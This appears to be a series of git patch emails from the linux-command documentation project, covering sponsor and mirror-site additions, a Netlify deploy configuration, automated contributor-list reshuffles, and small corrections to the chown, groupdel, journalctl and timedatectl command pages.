@@ -194,6 +194,7 @@

镜像网站

+ wu114.cn waadri.top zanglikun.com alapi.cn From ec1231fc1b1e65aef17805f88faa6a2994dec98f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 15 Aug 2025 00:18:09 +0800 Subject: [PATCH 520/570] chore: add sponsors. --- README.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/README.md b/README.md index aafe509f0a1..1431252c9ca 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,18 @@ + +
+

From ce45cdb905874b8acb4f73e58e63c9c584ec2d9f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 14 Aug 2025 16:45:54 +0000 Subject: [PATCH 521/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1431252c9ca..2fb2b7d11bb 100644 --- a/README.md +++ b/README.md @@ -499,7 +499,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LaudOak Legend LexsionLee -孟思行 +hengli Lin Wuxian LinuxZilong Lix From 39505c5c4d1758ce900ea6ba2bec8b6d701f341c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 14 Aug 2025 16:45:55 +0000 Subject: [PATCH 522/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a96a81169a6..cee1fe8e3c2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -126,7 +126,7 @@ LaudOak Legend LexsionLee -孟思行 +hengli Lin Wuxian LinuxZilong Lix From 8eb01a48235ab252d87cda0e9b7afd9efab3819b Mon Sep 17 00:00:00 2001 From: Jeremy2214 <97098763+Jeremy2214@users.noreply.github.com> Date: Tue, 19 Aug 2025 20:02:28 +0800 Subject: [PATCH 523/570] doc: Update chown.md (#661) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修改一个小错误，把version改正成verbose，因为是显示冗余信息 --- command/chown.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/chown.md b/command/chown.md index 221f9f6ae36..bbb4089ed6c 100644 --- a/command/chown.md +++ b/command/chown.md @@ -22,7 +22,7 @@ chown(选项)(参数) -f或--quite或——silent：不显示错误信息； -h或--no-dereference：只对符号连接的文件作修改，而不更改其他任何相关文件； -R或——recursive：递归处理，将指定目录下的所有文件及子目录一并处理； --v或——version：显示指令执行过程； +-v或——verbose：显示指令执行过程； --dereference：效果和“-h”参数相同； --help：在线帮助； --reference=<参考文件或目录>：把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同； From af9b7174674f00777082ae52fdf1725c1fc436c5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 19 Aug 2025 12:03:23 +0000 Subject: [PATCH 524/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2fb2b7d11bb..7bd97692fe7 100644 --- a/README.md +++ b/README.md @@ -398,6 +398,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zyy2477 rgshare James Wang +Jeremy2214 MioMuse SteveLauC Shan Chenyu @@ -405,10 +406,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. YEUNGCHIE lavaicer loverainye -alfred Wang Yujia -沙漠之子 +alfred Qliangw +沙漠之子 Shell xhal will @@ -418,7 +419,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. BingCoke Ein Verne FunKeen -Jeremy2214 Pan, Wen-Ming QinShower duzhuoshanwai From 21bb5a1b33ace9b65921b23e70e2903cbdaecc48 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 19 Aug 2025 12:03:24 +0000 Subject: [PATCH 525/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cee1fe8e3c2..75e6b4384bd 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -25,6 +25,7 @@ zyy2477 rgshare James Wang +Jeremy2214 MioMuse SteveLauC Shan Chenyu @@ -32,10 +33,10 @@ YEUNGCHIE lavaicer loverainye -alfred Wang Yujia -沙漠之子 +alfred Qliangw +沙漠之子 Shell xhal will @@ -45,7 +46,6 @@ BingCoke Ein Verne FunKeen -Jeremy2214 Pan, Wen-Ming QinShower duzhuoshanwai From 82ee5c2bd7860ceedf6d9bb4fa8c822859a2c09a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=B0=B8=E6=81=92?= Date: Thu, 21 Aug 2025 12:47:06 +0800 Subject: [PATCH 526/570] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E4=B8=80?= =?UTF-8?q?=E9=94=AE=E9=83=A8=E7=BD=B2=E5=88=B0=20Netlify=E3=80=81?= =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E4=B8=80=E4=B8=AA=E9=95=9C=E5=83=8F=E7=AB=99?= =?UTF-8?q?=20(#662)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 17 +++++++++++++++++ assets/netlify.png | Bin 0 -> 19325 bytes netlify.toml | 4 ++++ template/contributors.ejs | 1 + 4 files changed, 22 insertions(+) create mode 100644 assets/netlify.png create mode 100644 netlify.toml diff --git a/README.md b/README.md index 7bd97692fe7..a229c368c3f 100644 --- a/README.md +++ b/README.md @@ -109,6 +109,7 @@ [`nenufm.com`](https://www.nenufm.com/linux-command/) [`jiangyang.online`](https://linux.jiangyang.online/) [`xiyung.cn`](https://xiyung.cn/linux-command/) +[`78888889.xyz`](https://linux-command.78888889.xyz/) **其它 web 版本** @@ -178,6 +179,22 @@ http://localhost:9665/ 通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 + +## Netlify + +可以点击下面按钮一键部署至 [Netlify](https://netlify.com): + +[![Deploy to Netlify Button](https://www.netlify.com/img/deploy/button.svg)](https://app.netlify.com/start/deploy?repository=https://github.com/jaywcjlove/linux-command) + +

+部署结果 + +![](./assets/netlify.png) + +
+ +通过 Netlify 分配的域名访问，或者自行在设置中绑定域名。 + ## 宝塔面板 可通过宝塔面板应用商店快速部署 linux-command diff --git a/assets/netlify.png b/assets/netlify.png new file mode 100644 index 0000000000000000000000000000000000000000..b874b04c7080b7d7a3c1419b363ab4705f95edea GIT binary patch literal 19325 zcmc$_Wmp?u6epbEF2&uYxD!)G{$~&ftM}y%9&|3T0D)9qDalIdczrxx z_4UKw?vOa07(Lm^W~0aX#US~L8utggG;UD%mo#%nq393l1lZL1kzGH<-i0am7qAmf zErs~V>fqRDVMizboQ)om%Z;REA;P0Zr3WV^psSoL9*x4{TaHGLoN9v*_!lSIs!A8V zv%h6!8GWqU75VolPDfvaksu}evY9H?S5nggTmESe1QH2s%rV^5{~bXy$3S^G5c!K3 z9`3(OxCZ{;Uy`1X&Li1a>EPU?)`qAZ@T47cGliYFQWw!c!eilfBZZU2q@OyqvJ#_~ z!Ed_S>MrPihc7FIfB;r=68LF<;8NL&HAdOf`WhD(S8J$FZqWVS`Ed9uX{n0yUFRK- z)mVBQO$ahAKR;3u{r+(+n@kb|3J$gOMK~fHh~&;E%e0+gC}{b^GJpD2>JqS9@X+_( zXj1c}Ic9G#vhh`MJYHOTyByZoG-GAk6vdB0$wN#TkL=sI5c2C6Udhj&vTAC4wB-C3 z$J6L-u0l*!P+#U^b2tfEujpzI3NK<5y_VoKQG6HJ*Ef(?Qi5`ciCHalR8mwXJKi=APHehN1mXS_3tinG^ZaPetKwVYILqxg*Mt0`#;U$ zg?I|7%a%GDn~U_T7dgQn7G|Sv-nx43zF02W2-~jOIK7Vev}n1%mm>@+R?n8zoz=(3 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;khOAB*F(YckKjrY+mVT7b;^p7rF!2n@>(S53=@Q|e=-;Q*?>9Lt zgpI2)krpOa=yO?1`pxNcM%PWXXV`x$98oD&Jul*uKWD{bF}4AvZfZ}NZl3V`x$sEf zjABkOt2|(&a4_e9PJ^m17+L_~_OaymkJ()iArR>5r{^b@i_s+pJjd}`UU+vd>BLB$$Co)lm0Orm<|Z#AnfI*U+9hGyZhd@Zfk z&CB$!>9c9$o-$I-c#%p*`q!0n+Q4H)!Qz_CfDeq6eNna|T{qR~{crgBK}#Y`kA%8q z^rm!B1%6mZ_nyyRVe3S0=PhdL9=AW#L37wAN+=0*i#_}tcI)NT*ZURgYKQn}H&r;I z3z)qMI9AB|Pv+0Nq1HCv$dTp8c1^Yq-R6wVmH4WusuD zx%6-dNVrEGe1w#AetdD(wVszMrQv7?a(uVxZ$TWv^nZRO*ve9nFE1Z`G<_$Pk;mbd? zoAN$Va^*l`94rD8|2pV|d^ssj&rg55z|bOC)XA=MTY&UGFgZNFN=IYf@bvqFl39?u Mdd9a2x{l%h0B<~K&;S4c literal 0 HcmV?d00001 diff --git a/netlify.toml b/netlify.toml new file mode 100644 index 00000000000..6a92ba947d6 --- /dev/null +++ b/netlify.toml @@ -0,0 +1,4 @@ +[build] + command = "npm run build" + publish = ".deploy +" \ No newline at end of file diff --git a/template/contributors.ejs b/template/contributors.ejs index 75e6b4384bd..2ef4ff7993e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -218,6 +218,7 @@ nenufm.com linux.jiangyang.online xiyung.cn + 78888889.xyz

魔改网站

From 4867036f98d67489dd8a7203de88157fa3ffddc5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 21 Aug 2025 04:47:35 +0000 Subject: [PATCH 527/570] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index a229c368c3f..5287df27441 100644 --- a/README.md +++ b/README.md @@ -444,7 +444,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD YH Xingwen Zhang -illmons jqz3.tech juemuren4449 kassadin @@ -459,7 +458,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -0x_000 +oliver dayday Deny dongpohezui @@ -476,7 +475,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 -zyimm +illmons 七朔 孤城落寞 尘埃 @@ -485,6 +484,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 扶苏如是 ReZero 极简XksA +永恒 移动的红烧肉 继刚 老犁 @@ -493,7 +493,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 bycs Yidan Wang -oliver rexlin600 sfwwslm shc @@ -510,6 +509,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +zyimm +0x_000 Jelly Nexchard Karl Horky From 2a2f68f9adc79ec47237fc10c25d76331c963cf9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 21 Aug 2025 04:47:36 +0000 Subject: [PATCH 528/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2ef4ff7993e..3be5b2f416a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -54,7 +54,6 @@ RichardLCD YH Xingwen Zhang -illmons jqz3.tech juemuren4449 kassadin @@ -69,7 +68,7 @@ miniwater noodles2hg nsnans -0x_000 +oliver dayday Deny dongpohezui @@ -86,7 +85,7 @@ hotdogc1017 huangyao hululu1068 -zyimm +illmons 七朔 孤城落寞 尘埃 @@ -95,6 +94,7 @@ 扶苏如是 ReZero 极简XksA +永恒 移动的红烧肉 继刚 老犁 @@ -103,7 +103,6 @@ 远方 bycs Yidan Wang -oliver rexlin600 sfwwslm shc @@ -120,6 +119,8 @@ zodiac zoomdong zuixin369 +zyimm +0x_000 Jelly Nexchard Karl Horky From 1d90133132d7f6286a92382d3966aa34f6f3509a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=B0=B8=E6=81=92?= Date: Thu, 21 Aug 2025 13:44:49 +0800 Subject: [PATCH 529/570] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=20netlify.tom?= =?UTF-8?q?l=20=E9=85=8D=E7=BD=AE=E5=8E=BB=E9=99=A4=E9=94=99=E8=AF=AF?= =?UTF-8?q?=E7=9A=84=E6=8D=A2=E8=A1=8C=E7=AC=A6=20(#663)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat:增加一键部署到 Netlify、增加一个镜像站 * fix:Netlify部署文件错误的换行符 --- netlify.toml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/netlify.toml b/netlify.toml index 6a92ba947d6..2ea364dc5d0 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,4 +1,3 @@ [build] command = "npm run build" - publish = ".deploy -" \ No newline at end of file + publish = ".deploy" From f0fd91b2a9bd978a9436508eada88200a0d3fa61 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 21 Aug 2025 05:45:23 +0000 Subject: [PATCH 530/570] doc: update README.md. --- README.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 5287df27441..b1117f22119 100644 --- a/README.md +++ b/README.md @@ -427,23 +427,25 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. alfred Qliangw 沙漠之子 +永恒 Shell xhal will VVatt jcdj666 -gggwvg BingCoke Ein Verne FunKeen Pan, Wen-Ming QinShower +RichardLCD +gggwvg duzhuoshanwai Dazhuangw +Xingwen Zhang Alterem -RichardLCD YH -Xingwen Zhang +illmons jqz3.tech juemuren4449 kassadin @@ -458,7 +460,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver +0x_000 dayday Deny dongpohezui @@ -475,7 +477,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 -illmons +zyimm 七朔 孤城落寞 尘埃 @@ -484,7 +486,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 扶苏如是 ReZero 极简XksA -永恒 移动的红烧肉 继刚 老犁 @@ -493,6 +494,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 bycs Yidan Wang +oliver rexlin600 sfwwslm shc @@ -509,8 +511,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -zyimm -0x_000 Jelly Nexchard Karl Horky From dbe2b599d1baa9875b6a6b583a8f60ebdc043238 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 21 Aug 2025 05:45:24 +0000 Subject: [PATCH 531/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3be5b2f416a..47dbbacae3b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -37,23 +37,25 @@ alfred Qliangw 沙漠之子 +永恒 Shell xhal will VVatt jcdj666 -gggwvg BingCoke Ein Verne FunKeen Pan, Wen-Ming QinShower +RichardLCD +gggwvg duzhuoshanwai Dazhuangw +Xingwen Zhang Alterem -RichardLCD YH -Xingwen Zhang +illmons jqz3.tech juemuren4449 kassadin @@ -68,7 +70,7 @@ miniwater noodles2hg nsnans -oliver +0x_000 dayday Deny dongpohezui @@ -85,7 +87,7 @@ hotdogc1017 huangyao hululu1068 -illmons +zyimm 七朔 孤城落寞 尘埃 @@ -94,7 +96,6 @@ 扶苏如是 ReZero 极简XksA -永恒 移动的红烧肉 继刚 老犁 @@ -103,6 +104,7 @@ 远方 bycs Yidan Wang +oliver rexlin600 sfwwslm shc @@ -119,8 +121,6 @@ zodiac zoomdong zuixin369 -zyimm -0x_000 Jelly Nexchard Karl Horky From 101fb476a34867dc24210462496523236f650c02 Mon Sep 17 00:00:00 2001 From: JiangHuDao Date: Wed, 27 Aug 2025 10:51:35 +0800 Subject: [PATCH 532/570] doc: update command/groupdel.md (#664) --- command/groupdel.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/groupdel.md b/command/groupdel.md index 1c58b8fad7f..8070a4860a6 100644 --- a/command/groupdel.md +++ b/command/groupdel.md @@ -5,7 +5,7 @@ groupdel ## 补充说明 -**groupdel命令** 用于删除指定的工作组，本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户，则必须先删除这些用户后，方能删除群组。 +**groupdel命令** 用于删除指定的工作组，本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组是某些用户的主组，则必须先删除这些用户或改变其主组后，才能删除该群组;如果该群组仅为某些用户的附加组,则可以直接删除,这些用户中的该组信息也会被删除。 ### 语法 From 8882fb783e45497e980eab9b3df0cb9f3e5ce5c0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 27 Aug 2025 02:52:06 +0000 Subject: [PATCH 533/570] doc: update README.md. --- README.md | 37 +++++++++++++++++++------------------ 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index b1117f22119..1f0fda75167 100644 --- a/README.md +++ b/README.md @@ -433,25 +433,25 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. will VVatt jcdj666 -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -QinShower -RichardLCD gggwvg duzhuoshanwai Dazhuangw -Xingwen Zhang Alterem YH -illmons -jqz3.tech -juemuren4449 -kassadin -NanoNova -kmephistoh +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +BingCoke +Ein Verne +FunKeen leo +kmephistoh +NanoNova +kassadin +juemuren4449 +jqz3.tech +illmons lewis1573 linuxwd Ricardowang @@ -460,7 +460,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -0x_000 +cxalc dayday Deny dongpohezui @@ -511,7 +511,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +0x_000 Jelly +JiangHuDao Nexchard Karl Horky LaudOak @@ -526,7 +528,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee -Mystic PanHeng azroy Cui Yang @@ -543,7 +544,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Huntout Zhang Jack Jack.A.Black -Q.Ben Zheng +Mystic +Xiaodong DENG Xonline-Tech Xu Chunyang Yan Sheng @@ -559,7 +561,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. c2ch chaofan Forever121 -cxalc +Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -575,7 +577,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG -Xiaodong DENG From 6c9fc8db9e2c9ce6545271732ddf9301933e2c07 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 27 Aug 2025 02:52:07 +0000 Subject: [PATCH 534/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 37 +++++++++++++++++++------------------ 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 47dbbacae3b..8a76d3faaa2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -43,25 +43,25 @@ will VVatt jcdj666 -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -QinShower -RichardLCD gggwvg duzhuoshanwai Dazhuangw -Xingwen Zhang Alterem YH -illmons -jqz3.tech -juemuren4449 -kassadin -NanoNova -kmephistoh +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +BingCoke +Ein Verne +FunKeen leo +kmephistoh +NanoNova +kassadin +juemuren4449 +jqz3.tech +illmons lewis1573 linuxwd Ricardowang @@ -70,7 +70,7 @@ miniwater noodles2hg nsnans -0x_000 +cxalc dayday Deny dongpohezui @@ -121,7 +121,9 @@ zodiac zoomdong zuixin369 +0x_000 Jelly +JiangHuDao Nexchard Karl Horky LaudOak @@ -136,7 +138,6 @@ mwei Marnm MinsonLee -Mystic PanHeng azroy Cui Yang @@ -153,7 +154,8 @@ Huntout Zhang Jack Jack.A.Black -Q.Ben Zheng +Mystic +Xiaodong DENG Xonline-Tech Xu Chunyang Yan Sheng @@ -169,7 +171,7 @@ c2ch chaofan Forever121 -cxalc +Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -185,7 +187,6 @@ Na Meng Wingrez XBG -Xiaodong DENG From 6a1f9ba01ccc76c4b85f73f74e3d728b293037cd Mon Sep 17 00:00:00 2001 From: Zlanghu <88917899+Zlanghu@users.noreply.github.com> Date: Thu, 28 Aug 2025 17:02:55 +0800 Subject: [PATCH 535/570] doc: Update journalctl.md (#665) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 纠错，journalctl不是 CentOS 7 才有的工具。 --- command/journalctl.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/journalctl.md b/command/journalctl.md index e87fcb51040..2c9b8510a49 100644 --- a/command/journalctl.md +++ b/command/journalctl.md @@ -1,7 +1,7 @@ journalctl === -检索 systemd 日志，是 CentOS 7 才有的工具。 +检索 systemd 日志，只要使用 systemd 的 Linux 发行版（如 Fedora、Ubuntu Modern、Debian、SUSE、Arch），几乎都会配备 journalctl。 ### 语法 From d62cf07120e48848aafa93156f4f8279527e2cb1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 28 Aug 2025 09:04:08 +0000 Subject: [PATCH 536/570] doc: update README.md. --- README.md | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 1f0fda75167..1097d9684f1 100644 --- a/README.md +++ b/README.md @@ -433,25 +433,26 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. will VVatt jcdj666 +BingCoke +Ein Verne +FunKeen +Pan, Wen-Ming +QinShower +RichardLCD gggwvg duzhuoshanwai Dazhuangw +Xingwen Zhang Alterem YH -Xingwen Zhang -RichardLCD -QinShower -Pan, Wen-Ming -BingCoke -Ein Verne -FunKeen -leo -kmephistoh -NanoNova -kassadin -juemuren4449 -jqz3.tech +hululu1068 illmons +jqz3.tech +juemuren4449 +kassadin +NanoNova +kmephistoh +leo lewis1573 linuxwd Ricardowang @@ -459,7 +460,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans +Jelly cxalc dayday Deny @@ -476,7 +477,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gcluffy hotdogc1017 huangyao -hululu1068 +nsnans zyimm 七朔 孤城落寞 @@ -511,8 +512,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 -Jelly JiangHuDao Nexchard Karl Horky @@ -528,6 +527,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee +Xiaodong DENG +0x_000 PanHeng azroy Cui Yang @@ -544,13 +545,12 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Huntout Zhang Jack Jack.A.Black -Mystic -Xiaodong DENG Xonline-Tech Xu Chunyang Yan Sheng Yunbin Liu 0Knot (0KN) +Zlanghu One Person’s Revelry amit794 Ashine @@ -561,6 +561,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. c2ch chaofan Forever121 +Mystic Q.Ben Zheng Ray Yee Rining Wu From f1c3ee45c57e9fcd2137c178b6ec78cea67df55f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 28 Aug 2025 09:04:09 +0000 Subject: [PATCH 537/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8a76d3faaa2..cbc84251934 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -43,25 +43,26 @@ will VVatt jcdj666 +BingCoke +Ein Verne +FunKeen +Pan, Wen-Ming +QinShower +RichardLCD gggwvg duzhuoshanwai Dazhuangw +Xingwen Zhang Alterem YH -Xingwen Zhang -RichardLCD -QinShower -Pan, Wen-Ming -BingCoke -Ein Verne -FunKeen -leo -kmephistoh -NanoNova -kassadin -juemuren4449 -jqz3.tech +hululu1068 illmons +jqz3.tech +juemuren4449 +kassadin +NanoNova +kmephistoh +leo lewis1573 linuxwd Ricardowang @@ -69,7 +70,7 @@ dufu miniwater noodles2hg -nsnans +Jelly cxalc dayday Deny @@ -86,7 +87,7 @@ gcluffy hotdogc1017 huangyao -hululu1068 +nsnans zyimm 七朔 孤城落寞 @@ -121,8 +122,6 @@ zodiac zoomdong zuixin369 -0x_000 -Jelly JiangHuDao Nexchard Karl Horky @@ -138,6 +137,8 @@ mwei Marnm MinsonLee +Xiaodong DENG +0x_000 PanHeng azroy Cui Yang @@ -154,13 +155,12 @@ Huntout Zhang Jack Jack.A.Black -Mystic -Xiaodong DENG Xonline-Tech Xu Chunyang Yan Sheng Yunbin Liu 0Knot (0KN) +Zlanghu One Person’s Revelry amit794 Ashine @@ -171,6 +171,7 @@ c2ch chaofan Forever121 +Mystic Q.Ben Zheng Ray Yee Rining Wu From f4e2578be8cd3f8c050187f0df43466355515d7a Mon Sep 17 00:00:00 2001 From: JiangHuDao Date: Fri, 29 Aug 2025 12:09:48 +0800 Subject: [PATCH 538/570] doc: Update timedatectl.md (#666) --- command/timedatectl.md | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/command/timedatectl.md b/command/timedatectl.md index ab278ef66b4..55d4a520b2b 100644 --- a/command/timedatectl.md +++ b/command/timedatectl.md @@ -37,6 +37,7 @@ Query or change system time and date settings. Commands: status 显示当前的时间设置。 + show 显示systemd-timedated的属性。 set-time TIME 设置系统时间。 set-timezone ZONE 设置系统时区。 list-timezones 显示已知时区。 @@ -62,11 +63,22 @@ NTP synchronized: no DST active: n/a ``` +显示systemd-timedated的属性 + +``` +$ timedatectl show +Timezone=Asia/Shanghai +LocalRTC=no +CanNTP=yes +NTP=yes +NTPSynchronized=yes +TimeUSec=Fri 2022-04-08 17:04:02 CST +RTCTimeUSec=Fri 2022-04-08 17:04:02 CST +``` + 显示系统所有可用的时区 ```shell -$ timedatectl show -Unknown operation show $ timedatectl list-timezones Africa/Abidjan Africa/Accra From 1d0763c9fcade4330b154f940addafa677b6c6e9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 29 Aug 2025 04:10:19 +0000 Subject: [PATCH 539/570] doc: update README.md. --- README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 1097d9684f1..9d7cb151d65 100644 --- a/README.md +++ b/README.md @@ -433,19 +433,19 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. will VVatt jcdj666 +gggwvg BingCoke Ein Verne FunKeen +JiangHuDao Pan, Wen-Ming QinShower -RichardLCD -gggwvg duzhuoshanwai Dazhuangw -Xingwen Zhang Alterem +RichardLCD YH -hululu1068 +Xingwen Zhang illmons jqz3.tech juemuren4449 @@ -460,7 +460,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -Jelly +nsnans cxalc dayday Deny @@ -477,7 +477,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gcluffy hotdogc1017 huangyao -nsnans +hululu1068 zyimm 七朔 孤城落寞 @@ -512,7 +512,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -JiangHuDao +0x_000 +Jelly Nexchard Karl Horky LaudOak @@ -527,8 +528,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee -Xiaodong DENG -0x_000 +Mystic PanHeng azroy Cui Yang @@ -545,6 +545,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Huntout Zhang Jack Jack.A.Black +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng @@ -561,8 +562,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. c2ch chaofan Forever121 -Mystic -Q.Ben Zheng Ray Yee Rining Wu Robigus @@ -578,6 +577,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG +Xiaodong DENG From a5b7abb5abb783bcdc5a1e19a638d371139767ad Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 29 Aug 2025 04:10:20 +0000 Subject: [PATCH 540/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cbc84251934..3e19045340c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -43,19 +43,19 @@ will VVatt 